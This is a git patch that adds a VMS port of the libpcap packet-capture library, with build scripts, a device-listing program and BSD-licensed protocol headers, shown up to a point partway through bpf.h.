From f01115606a381cdf1160b68713bee273dd8d9d2f Mon Sep 17 00:00:00 2001 From: Bob Supnik Date: Sun, 28 Dec 2003 17:16:00 -0800 Subject: [PATCH] simh tools --- Pcap-VMS/build_all.com | 27 + Pcap-VMS/pcap-vci/PCAP_DEV.C | 32 + Pcap-VMS/pcap-vci/VMS_PCAP.COM | 64 + Pcap-VMS/pcap-vci/acconfig.h | 7 + Pcap-VMS/pcap-vci/arcnet.h | 52 + Pcap-VMS/pcap-vci/atmuni31.h | 87 + Pcap-VMS/pcap-vci/bpf.h | 483 +++ Pcap-VMS/pcap-vci/bpf_dump.c | 62 + Pcap-VMS/pcap-vci/bpf_filter.c | 562 +++ Pcap-VMS/pcap-vci/bpf_image.c | 291 ++ Pcap-VMS/pcap-vci/eth_test.c | 278 ++ Pcap-VMS/pcap-vci/eth_test2.c | 286 ++ Pcap-VMS/pcap-vci/etherent.c | 162 + Pcap-VMS/pcap-vci/ethertype.h | 107 + Pcap-VMS/pcap-vci/fad-getad.c | 196 ++ Pcap-VMS/pcap-vci/fad-gifc.c | 507 +++ Pcap-VMS/pcap-vci/fad-glifc.c | 331 ++ Pcap-VMS/pcap-vci/fad-null.c | 65 + Pcap-VMS/pcap-vci/fad-win32.c | 371 ++ Pcap-VMS/pcap-vci/gencode.c | 5135 ++++++++++++++++++++++++++++ Pcap-VMS/pcap-vci/gencode.h | 289 ++ Pcap-VMS/pcap-vci/grammar.c | 2114 ++++++++++++ Pcap-VMS/pcap-vci/grammar.y | 385 +++ Pcap-VMS/pcap-vci/inet.c | 679 ++++ Pcap-VMS/pcap-vci/llc.h | 69 + Pcap-VMS/pcap-vci/nametoaddr.c | 435 +++ Pcap-VMS/pcap-vci/nlpid.h | 43 + Pcap-VMS/pcap-vci/nmadef.h | 1683 +++++++++ Pcap-VMS/pcap-vci/optimize.c | 2156 ++++++++++++ Pcap-VMS/pcap-vci/pcap-bpf.c | 479 +++ Pcap-VMS/pcap-vci/pcap-dlpi.c | 1446 ++++++++ Pcap-VMS/pcap-vci/pcap-enet.c | 235 ++ Pcap-VMS/pcap-vci/pcap-int.h | 265 ++ Pcap-VMS/pcap-vci/pcap-linux.c | 1936 +++++++++++ Pcap-VMS/pcap-vci/pcap-namedb.h | 87 + Pcap-VMS/pcap-vci/pcap-nit.c | 273 ++ Pcap-VMS/pcap-vci/pcap-nit.h | 19 + Pcap-VMS/pcap-vci/pcap-null.c | 80 + Pcap-VMS/pcap-vci/pcap-pf.c | 437 +++ Pcap-VMS/pcap-vci/pcap-pf.h | 19 + Pcap-VMS/pcap-vci/pcap-snit.c | 331 ++ Pcap-VMS/pcap-vci/pcap-snoop.c | 307 ++ Pcap-VMS/pcap-vci/pcap-stdinc.h | 44 + Pcap-VMS/pcap-vci/pcap-vms.c | 502 +++ Pcap-VMS/pcap-vci/pcap-vms.h | 77 + Pcap-VMS/pcap-vci/pcap-win32.c | 322 ++ Pcap-VMS/pcap-vci/pcap.c | 387 +++ Pcap-VMS/pcap-vci/pcap.h | 245 ++ Pcap-VMS/pcap-vci/pcaptest.c | 72 + Pcap-VMS/pcap-vci/pcapvci.c | 479 +++ Pcap-VMS/pcap-vci/pcapvci.h | 37 + Pcap-VMS/pcap-vci/pcapvcm.h | 218 ++ Pcap-VMS/pcap-vci/ppp.h | 52 + Pcap-VMS/pcap-vci/readme.txt | 37 + Pcap-VMS/pcap-vci/savefile.c | 701 ++++ Pcap-VMS/pcap-vci/scanner.c | 3762 ++++++++++++++++++++ Pcap-VMS/pcap-vci/sck.c | 38 + Pcap-VMS/pcap-vci/sll.h | 124 + Pcap-VMS/pcap-vci/sniffer.c | 159 + Pcap-VMS/pcap-vci/snoop.c | 247 ++ Pcap-VMS/pcap-vci/snprintf.c | 1025 ++++++ Pcap-VMS/pcap-vci/snprintf.h | 26 + Pcap-VMS/pcap-vci/sock_raw.c | 48 + Pcap-VMS/pcap-vci/ssubs.c | 2075 +++++++++++ Pcap-VMS/pcap-vci/sunatmpos.h | 45 + Pcap-VMS/pcap-vci/tokdefs.h | 102 + Pcap-VMS/pcap-vci/vcmutil.c | 100 + Pcap-VMS/pcap-vci/vms_build.com | 36 + Pcap-VMS/pcap-vci/vms_pcap.com_new | 64 + Pcap-VMS/pcapvcm/build_pcapvcm.com | 130 + Pcap-VMS/pcapvcm/pcap_client.c | 432 +++ Pcap-VMS/pcapvcm/pcap_client.com | 21 + Pcap-VMS/pcapvcm/pcapvcm.c | 876 +++++ Pcap-VMS/pcapvcm/pcapvcm.h | 220 ++ Pcap-VMS/pcapvcm/pcapvcm.map | 1016 ++++++ Pcap-VMS/pcapvcm/pcapvcm_init.mar | 18 + Pcap-VMS/pcapvcm/readme.txt | 82 + Pcap-VMS/pcapvcm/vci_jacket.mar | 186 + Pcap-VMS/pcapvcm/vcmutil.c | 148 + 79 files changed, 37025 insertions(+) create mode 100644 Pcap-VMS/build_all.com create mode 100644 Pcap-VMS/pcap-vci/PCAP_DEV.C create mode 100644 Pcap-VMS/pcap-vci/VMS_PCAP.COM create mode 100644 Pcap-VMS/pcap-vci/acconfig.h create mode 100644 Pcap-VMS/pcap-vci/arcnet.h create mode 100644 Pcap-VMS/pcap-vci/atmuni31.h create mode 100644 Pcap-VMS/pcap-vci/bpf.h create mode 100644 Pcap-VMS/pcap-vci/bpf_dump.c create mode 100644 Pcap-VMS/pcap-vci/bpf_filter.c create mode 100644 Pcap-VMS/pcap-vci/bpf_image.c create mode 100644 Pcap-VMS/pcap-vci/eth_test.c create mode 100644 Pcap-VMS/pcap-vci/eth_test2.c create mode 100644 Pcap-VMS/pcap-vci/etherent.c create mode 100644 Pcap-VMS/pcap-vci/ethertype.h create mode 100644 Pcap-VMS/pcap-vci/fad-getad.c create mode 100644 Pcap-VMS/pcap-vci/fad-gifc.c create mode 100644 Pcap-VMS/pcap-vci/fad-glifc.c create mode 100644 Pcap-VMS/pcap-vci/fad-null.c create mode 100644 Pcap-VMS/pcap-vci/fad-win32.c create mode 100644 Pcap-VMS/pcap-vci/gencode.c create mode 100644 Pcap-VMS/pcap-vci/gencode.h create mode 100644 Pcap-VMS/pcap-vci/grammar.c create mode 100644 Pcap-VMS/pcap-vci/grammar.y create mode 100644 Pcap-VMS/pcap-vci/inet.c create mode 100644 Pcap-VMS/pcap-vci/llc.h create mode 100644 Pcap-VMS/pcap-vci/nametoaddr.c create mode 100644 Pcap-VMS/pcap-vci/nlpid.h create mode 100644 Pcap-VMS/pcap-vci/nmadef.h create mode 100644 Pcap-VMS/pcap-vci/optimize.c create mode 100644 Pcap-VMS/pcap-vci/pcap-bpf.c create mode 100644 Pcap-VMS/pcap-vci/pcap-dlpi.c create mode 100644 Pcap-VMS/pcap-vci/pcap-enet.c create mode 100644 Pcap-VMS/pcap-vci/pcap-int.h create mode 100644 Pcap-VMS/pcap-vci/pcap-linux.c create mode 100644 Pcap-VMS/pcap-vci/pcap-namedb.h create mode 100644 Pcap-VMS/pcap-vci/pcap-nit.c create mode 100644 Pcap-VMS/pcap-vci/pcap-nit.h create mode 100644 Pcap-VMS/pcap-vci/pcap-null.c create mode 100644 Pcap-VMS/pcap-vci/pcap-pf.c create mode 100644 Pcap-VMS/pcap-vci/pcap-pf.h create mode 100644 Pcap-VMS/pcap-vci/pcap-snit.c create mode 100644 Pcap-VMS/pcap-vci/pcap-snoop.c create mode 100644 Pcap-VMS/pcap-vci/pcap-stdinc.h create mode 100644 Pcap-VMS/pcap-vci/pcap-vms.c create mode 100644 Pcap-VMS/pcap-vci/pcap-vms.h create mode 100644 Pcap-VMS/pcap-vci/pcap-win32.c create mode 100644 Pcap-VMS/pcap-vci/pcap.c create mode 100644 Pcap-VMS/pcap-vci/pcap.h create mode 100644 Pcap-VMS/pcap-vci/pcaptest.c create mode 100644 Pcap-VMS/pcap-vci/pcapvci.c create mode 100644 Pcap-VMS/pcap-vci/pcapvci.h create mode 100644 Pcap-VMS/pcap-vci/pcapvcm.h create mode 100644 Pcap-VMS/pcap-vci/ppp.h create mode 100644 Pcap-VMS/pcap-vci/readme.txt create mode 100644 Pcap-VMS/pcap-vci/savefile.c create mode 100644 Pcap-VMS/pcap-vci/scanner.c create mode 100644 Pcap-VMS/pcap-vci/sck.c create mode 100644 Pcap-VMS/pcap-vci/sll.h create mode 100644 Pcap-VMS/pcap-vci/sniffer.c create mode 100644 Pcap-VMS/pcap-vci/snoop.c create mode 100644 Pcap-VMS/pcap-vci/snprintf.c create mode 100644 Pcap-VMS/pcap-vci/snprintf.h create mode 100644 Pcap-VMS/pcap-vci/sock_raw.c create mode 100644 Pcap-VMS/pcap-vci/ssubs.c create mode 100644 Pcap-VMS/pcap-vci/sunatmpos.h create mode 100644 Pcap-VMS/pcap-vci/tokdefs.h create mode 100644 Pcap-VMS/pcap-vci/vcmutil.c create mode 100644 Pcap-VMS/pcap-vci/vms_build.com create mode 100644 Pcap-VMS/pcap-vci/vms_pcap.com_new create mode 100644 Pcap-VMS/pcapvcm/build_pcapvcm.com create mode 100644 Pcap-VMS/pcapvcm/pcap_client.c create mode 100644 Pcap-VMS/pcapvcm/pcap_client.com create mode 100644 Pcap-VMS/pcapvcm/pcapvcm.c create mode 100644 Pcap-VMS/pcapvcm/pcapvcm.h create mode 100644 Pcap-VMS/pcapvcm/pcapvcm.map create mode 100644 Pcap-VMS/pcapvcm/pcapvcm_init.mar create mode 100644 Pcap-VMS/pcapvcm/readme.txt create mode 100644 Pcap-VMS/pcapvcm/vci_jacket.mar create mode 100644 Pcap-VMS/pcapvcm/vcmutil.c diff --git a/Pcap-VMS/build_all.com b/Pcap-VMS/build_all.com new file mode 100644 index 00000000..6d41e677 --- /dev/null +++ b/Pcap-VMS/build_all.com @@ -0,0 +1,27 @@ +$! +$! This procedure builds the following: +$! +$! [.pcap-vci] +$! A port of pcap using the VCI interface to the LAN driver. This +$! version of pcap uses the PCAPVCM execlet and is faster than the +$! QIO implementation of pcap. This version allows you to send packets +$! as well as receiving packets. +$! +$! [.pcapvcm] +$! The VMS execlet which uses the VCI interface to the LAN driver. +$! Once built it must be placed in SYS$LOADABLE_IMAGES. +$! +$! +$! Author: Ankan, 20-Sep-2003 +$ on warning then continue +$ set def [.pcap-vci] +$ write sys$output "Building VCI version of pcap..." +$ @vms_pcap +$ set def [-.pcapvcm] +$ write sys$output "Building the PCAP VCM execlet..." +$ write sys$output "In order to use it, place PCAPVCM.EXE in the" +$ write sys$output "SYS$LOADABLE_IMAGES directory." +$ @build_pcapvcm +$ set def [-] +$ write sys$output "Build done..." +$ exit diff --git a/Pcap-VMS/pcap-vci/PCAP_DEV.C b/Pcap-VMS/pcap-vci/PCAP_DEV.C new file mode 100644 index 00000000..43aa8b25 --- /dev/null +++ b/Pcap-VMS/pcap-vci/PCAP_DEV.C @@ -0,0 +1,32 @@ +#include +#include +#include +#include +#include +#include "pcapvci.h" + +int main(int argc, char *argv[]) +{ + int status; + char devnam[128]; + VCMCTX *vcmctx; + + // Make sure execlet is loaded + status = pcapvci_load_execlet(); + if ($VMS_STATUS_SUCCESS(status)) { + // Get us a port + status = pcapvci_alloc_port(&vcmctx); + if ($VMS_STATUS_SUCCESS(status)) { + while ($VMS_STATUS_SUCCESS(status)) { + status = pcapvci_get_device(vcmctx, devnam); + if ($VMS_STATUS_SUCCESS(status)) { + printf("device: %s\n", devnam); + } + } + status = pcapvci_free_port(vcmctx); + } + } + + return 0; +} + diff --git a/Pcap-VMS/pcap-vci/VMS_PCAP.COM b/Pcap-VMS/pcap-vci/VMS_PCAP.COM new file mode 100644 index 00000000..211af767 --- /dev/null +++ b/Pcap-VMS/pcap-vci/VMS_PCAP.COM @@ -0,0 +1,64 @@ +$ if f$search("pcap.olb") .eqs. "" +$ then +$ libr/crea pcap.olb +$ endif +$ if p1 .eqs. "DEBUG" +$ then +$ opt = "/debug/noopt" +$ else +$! Nodebug +$ opt = "/opt=(level=4)" +$ endif +$ cc/opt/name=(as_is, shortened)/nomember_align'opt/include=sys$disk:[] - + pcapvci+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap pcapvci +$ cc/opt/name=(as_is, shortened)/nomember_align'opt/include=sys$disk:[] - + vcmutil+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap vcmutil +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + bpf_dump+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap bpf_dump +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + bpf_filter+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap bpf_filter +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + bpf_image+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap bpf_image +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + etherent+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap etherent +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + fad-gifc+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap fad-gifc +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + gencode+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap gencode +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + grammar+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap grammar +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + inet+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap inet +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + nametoaddr+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap nametoaddr +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + optimize+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap optimize +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + pcap+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap pcap +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + savefile+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap savefile +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + scanner+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap scanner +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + snprintf+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap snprintf +$ cc/name=( as_is,shortened)/opt/nomember_align'opt/include=sys$disk:[] - + pcap-vms+sys$share:sys$lib_c.tlb/lib +$ libr/replace pcap pcap-vms +$ exit + diff --git a/Pcap-VMS/pcap-vci/acconfig.h b/Pcap-VMS/pcap-vci/acconfig.h new file mode 100644 index 00000000..6df8c3a3 --- /dev/null +++ b/Pcap-VMS/pcap-vci/acconfig.h @@ -0,0 +1,7 @@ +/* Long story short: aclocal.m4 depends on autoconf 2.13 + * implementation details wrt "const"; newer versions + * have different implementation details so for now we + * put "const" here. This may cause duplicate definitions + * in config.h but that should be OK since they're the same. + */ +#undef const diff --git a/Pcap-VMS/pcap-vci/arcnet.h b/Pcap-VMS/pcap-vci/arcnet.h new file mode 100644 index 00000000..48f8fbdd --- /dev/null +++ b/Pcap-VMS/pcap-vci/arcnet.h @@ -0,0 +1,52 @@ +/* + * Copyright (c) 1982, 1986, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#) $Id: arcnet.h,v 1.2 2001/04/24 02:17:52 guy Exp $ (LBL) + * + * from: NetBSD: if_arc.h,v 1.13 1999/11/19 20:41:19 thorpej Exp + */ + +/* RFC 1051 */ +#define ARCTYPE_IP_OLD 240 /* IP protocol */ +#define ARCTYPE_ARP_OLD 241 /* address resolution protocol */ + +/* RFC 1201 */ +#define ARCTYPE_IP 212 /* IP protocol */ +#define ARCTYPE_ARP 213 /* address resolution protocol */ +#define ARCTYPE_REVARP 214 /* reverse addr resolution protocol */ + +#define ARCTYPE_ATALK 221 /* Appletalk */ +#define ARCTYPE_BANIAN 247 /* Banyan Vines */ +#define ARCTYPE_IPX 250 /* Novell IPX */ + +#define ARCTYPE_INET6 0xc4 /* IPng */ +#define ARCTYPE_DIAGNOSE 0x80 /* as per ANSI/ATA 878.1 */ diff --git a/Pcap-VMS/pcap-vci/atmuni31.h b/Pcap-VMS/pcap-vci/atmuni31.h new file mode 100644 index 00000000..10383db6 --- /dev/null +++ b/Pcap-VMS/pcap-vci/atmuni31.h @@ -0,0 +1,87 @@ +/* + * Copyright (c) 1997 Yen Yen Lim and North Dakota State University + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Yen Yen Lim and + North Dakota State University + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * @(#) $Header: /tcpdump/master/libpcap/atmuni31.h,v 1.1 2002/07/11 09:06:32 guy Exp $ (LBL) + */ + +/* Based on UNI3.1 standard by ATM Forum */ + +/* ATM traffic types based on VPI=0 and (the following VCI */ +#define PPC 0x05 /* Point-to-point signal msg */ +#define BCC 0x02 /* Broadcast signal msg */ +#define OAMF4SC 0x03 /* Segment OAM F4 flow cell */ +#define OAMF4EC 0x04 /* End-to-end OAM F4 flow cell */ +#define METAC 0x01 /* Meta signal msg */ +#define ILMIC 0x10 /* ILMI msg */ + +/* Q.2931 signalling messages */ +#define CALL_PROCEED 0x02 /* call proceeding */ +#define CONNECT 0x07 /* connect */ +#define CONNECT_ACK 0x0f /* connect_ack */ +#define SETUP 0x05 /* setup */ +#define RELEASE 0x4d /* release */ +#define RELEASE_DONE 0x5a /* release_done */ +#define RESTART 0x46 /* restart */ +#define RESTART_ACK 0x4e /* restart ack */ +#define STATUS 0x7d /* status */ +#define STATUS_ENQ 0x75 /* status ack */ +#define ADD_PARTY 0x80 /* add party */ +#define ADD_PARTY_ACK 0x81 /* add party ack */ +#define ADD_PARTY_REJ 0x82 /* add party rej */ +#define DROP_PARTY 0x83 /* drop party */ +#define DROP_PARTY_ACK 0x84 /* drop party ack */ + +/* Information Element Parameters in the signalling messages */ +#define CAUSE 0x08 /* cause */ +#define ENDPT_REF 0x54 /* endpoint reference */ +#define AAL_PARA 0x58 /* ATM adaptation layer parameters */ +#define TRAFF_DESCRIP 0x59 /* atm traffic descriptors */ +#define CONNECT_ID 0x5a /* connection identifier */ +#define QOS_PARA 0x5c /* quality of service parameters */ +#define B_HIGHER 0x5d /* broadband higher layer information */ +#define B_BEARER 0x5e /* broadband bearer capability */ +#define B_LOWER 0x5f /* broadband lower information */ +#define CALLING_PARTY 0x6c /* calling party number */ +#define CALLED_PARTY 0x70 /* called party nmber */ + +#define Q2931 0x09 + +/* Q.2931 signalling general messages format */ +#define PROTO_POS 0 /* offset of protocol discriminator */ +#define CALL_REF_POS 2 /* offset of call reference value */ +#define MSG_TYPE_POS 5 /* offset of message type */ +#define MSG_LEN_POS 7 /* offset of mesage length */ +#define IE_BEGIN_POS 9 /* offset of first information element */ + +/* format of signalling messages */ +#define TYPE_POS 0 +#define LEN_POS 2 +#define FIELD_BEGIN_POS 4 diff --git a/Pcap-VMS/pcap-vci/bpf.h b/Pcap-VMS/pcap-vci/bpf.h new file mode 100644 index 00000000..95bc7fa9 --- /dev/null +++ b/Pcap-VMS/pcap-vci/bpf.h @@ -0,0 +1,483 @@ +/*- + * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997 + * The Regents of the University of California. All rights reserved. + * + * This code is derived from the Stanford/CMU enet packet filter, + * (net/enet.c) distributed as part of 4.3BSD, and code contributed + * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence + * Berkeley Laboratory. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)bpf.h 7.1 (Berkeley) 5/7/91 + * + * @(#) $Header: /tcpdump/master/libpcap/bpf/net/bpf.h,v 1.63 2002/10/18 08:46:15 guy Exp $ (LBL) + */ + +#ifndef BPF_MAJOR_VERSION + +#ifdef __cplusplus +extern "C" { +#endif + +/* BSD style release date */ +#define BPF_RELEASE 199606 + +typedef int bpf_int32; +typedef u_int bpf_u_int32; + +/* + * Alignment macros. BPF_WORDALIGN rounds up to the next + * even multiple of BPF_ALIGNMENT. + */ +#ifndef __NetBSD__ +#define BPF_ALIGNMENT sizeof(bpf_int32) +#else +#define BPF_ALIGNMENT sizeof(long) +#endif +#define BPF_WORDALIGN(x) (((x)+(BPF_ALIGNMENT-1))&~(BPF_ALIGNMENT-1)) + +#define BPF_MAXINSNS 512 +#define BPF_MAXBUFSIZE 0x8000 +#define BPF_MINBUFSIZE 32 + +/* + * Structure for BIOCSETF. + */ +struct bpf_program { + u_int bf_len; + struct bpf_insn *bf_insns; +}; + +/* + * Struct returned by BIOCGSTATS. + */ +struct bpf_stat { + u_int bs_recv; /* number of packets received */ + u_int bs_drop; /* number of packets dropped */ +}; + +/* + * Struct return by BIOCVERSION. This represents the version number of + * the filter language described by the instruction encodings below. + * bpf understands a program iff kernel_major == filter_major && + * kernel_minor >= filter_minor, that is, if the value returned by the + * running kernel has the same major number and a minor number equal + * equal to or less than the filter being downloaded. Otherwise, the + * results are undefined, meaning an error may be returned or packets + * may be accepted haphazardly. + * It has nothing to do with the source code version. + */ +struct bpf_version { + u_short bv_major; + u_short bv_minor; +}; +/* Current version number of filter architecture. */ +#define BPF_MAJOR_VERSION 1 +#define BPF_MINOR_VERSION 1 + +/* + * BPF ioctls + * + * The first set is for compatibility with Sun's pcc style + * header files. If your using gcc, we assume that you + * have run fixincludes so the latter set should work. + */ +#if (defined(sun) || defined(ibm032)) && !defined(__GNUC__) +#define BIOCGBLEN _IOR(B,102, u_int) +#define BIOCSBLEN _IOWR(B,102, u_int) +#define BIOCSETF _IOW(B,103, struct bpf_program) +#define BIOCFLUSH _IO(B,104) +#define BIOCPROMISC _IO(B,105) +#define BIOCGDLT _IOR(B,106, u_int) +#define BIOCGETIF _IOR(B,107, struct ifreq) +#define BIOCSETIF _IOW(B,108, struct ifreq) +#define BIOCSRTIMEOUT _IOW(B,109, struct timeval) +#define BIOCGRTIMEOUT _IOR(B,110, struct timeval) +#define BIOCGSTATS _IOR(B,111, struct bpf_stat) +#define BIOCIMMEDIATE _IOW(B,112, u_int) +#define BIOCVERSION _IOR(B,113, struct bpf_version) +#define BIOCSTCPF _IOW(B,114, struct bpf_program) +#define BIOCSUDPF _IOW(B,115, struct bpf_program) +#else +#define BIOCGBLEN _IOR('B',102, u_int) +#define BIOCSBLEN _IOWR('B',102, u_int) +#define BIOCSETF _IOW('B',103, struct bpf_program) +#define BIOCFLUSH _IO('B',104) +#define BIOCPROMISC _IO('B',105) +#define BIOCGDLT _IOR('B',106, u_int) +#define BIOCGETIF _IOR('B',107, struct ifreq) +#define BIOCSETIF _IOW('B',108, struct ifreq) +#define BIOCSRTIMEOUT _IOW('B',109, struct timeval) +#define BIOCGRTIMEOUT _IOR('B',110, struct timeval) +#define BIOCGSTATS _IOR('B',111, struct bpf_stat) +#define BIOCIMMEDIATE _IOW('B',112, u_int) +#define BIOCVERSION _IOR('B',113, struct bpf_version) +#define BIOCSTCPF _IOW('B',114, struct bpf_program) +#define BIOCSUDPF _IOW('B',115, struct bpf_program) +#endif + +/* + * Structure prepended to each packet. + */ +struct bpf_hdr { + struct timeval bh_tstamp; /* time stamp */ + bpf_u_int32 bh_caplen; /* length of captured portion */ + bpf_u_int32 bh_datalen; /* original length of packet */ + u_short bh_hdrlen; /* length of bpf header (this struct + plus alignment padding) */ +}; +/* + * Because the structure above is not a multiple of 4 bytes, some compilers + * will insist on inserting padding; hence, sizeof(struct bpf_hdr) won't work. + * Only the kernel needs to know about it; applications use bh_hdrlen. + */ +#if defined(KERNEL) || defined(_KERNEL) +#define SIZEOF_BPF_HDR 18 +#endif + +/* + * Data-link level type codes. + */ + +/* + * These are the types that are the same on all platforms; on other + * platforms, a should be supplied that defines the additional + * DLT_* codes appropriately for that platform (the BSDs, for example, + * should not just pick up this version of "bpf.h"; they should also define + * the additional DLT_* codes used by their kernels, as well as the values + * defined here - and, if the values they use for particular DLT_ types + * differ from those here, they should use their values, not the ones + * here). + */ +#define DLT_NULL 0 /* no link-layer encapsulation */ +#define DLT_EN10MB 1 /* Ethernet (10Mb) */ +#define DLT_EN3MB 2 /* Experimental Ethernet (3Mb) */ +#define DLT_AX25 3 /* Amateur Radio AX.25 */ +#define DLT_PRONET 4 /* Proteon ProNET Token Ring */ +#define DLT_CHAOS 5 /* Chaos */ +#define DLT_IEEE802 6 /* IEEE 802 Networks */ +#define DLT_ARCNET 7 /* ARCNET */ +#define DLT_SLIP 8 /* Serial Line IP */ +#define DLT_PPP 9 /* Point-to-point Protocol */ +#define DLT_FDDI 10 /* FDDI */ + +/* + * These are values from the traditional libpcap "bpf.h". + * Ports of this to particular platforms should replace these definitions + * with the ones appropriate to that platform, if the values are + * different on that platform. + */ +#define DLT_ATM_RFC1483 11 /* LLC/SNAP encapsulated atm */ +#define DLT_RAW 12 /* raw IP */ + +/* + * These are values from BSD/OS's "bpf.h". + * These are not the same as the values from the traditional libpcap + * "bpf.h"; however, these values shouldn't be generated by any + * OS other than BSD/OS, so the correct values to use here are the + * BSD/OS values. + * + * Platforms that have already assigned these values to other + * DLT_ codes, however, should give these codes the values + * from that platform, so that 